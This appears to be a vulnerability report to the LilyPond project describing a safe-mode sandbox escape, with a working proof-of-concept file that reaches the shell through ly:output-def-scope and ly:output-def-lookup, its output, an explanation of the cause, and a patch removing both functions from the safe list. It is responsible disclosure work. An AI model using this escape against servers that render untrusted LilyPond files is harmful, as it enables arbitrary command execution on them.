I discovered a sandbox escape in LilyPond's safe mode.
PoC:
```
\version "2.21.4"
{
\relative { c' }
}
#(display "Plain\n")
#(system "id")
#(display "With output-def-scope\n")
#(eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
#(display "With output-def-lookup\n")
#((ly:output-def-lookup #{ \midi {} #} 'system) "id")
```
With -dsafe this will show shell execution on stdout:
```
Plain
/srv/lilypond/stuff/output-def.ly:6:2: error: GUILE signaled an error for the expression beginning here
#
(system "id")
Unbound variable: system
With output-def-scope
uid=1000(tstarling) gid=1000(tstarling) groups=1000(tstarling)
With output-def-lookup
uid=1000(tstarling) gid=1000(tstarling) groups=1000(tstarling)
```
In the PoC I included plain execution of the system function, this will fail with -dsafe as expected.
output-def-scope provides access to a module object created by the parser. It's created outside the sandbox and so inherits all top-level bindings, giving you access to all Scheme functions outside the sandbox.
output-def-lookup provides access to any binding within that module.
Suggested patch:
```
diff --git a/scm/safe-lily.scm b/scm/safe-lily.scm
index 25209e5a0b..100e5cdae6 100644
--- a/scm/safe-lily.scm
+++ b/scm/safe-lily.scm
@@ -102,8 +102,6 @@
ly:number->string
ly:option-usage
ly:output-def-clone
- ly:output-def-lookup
- ly:output-def-scope
ly:output-description
ly:paper-book?
ly:prob-property
```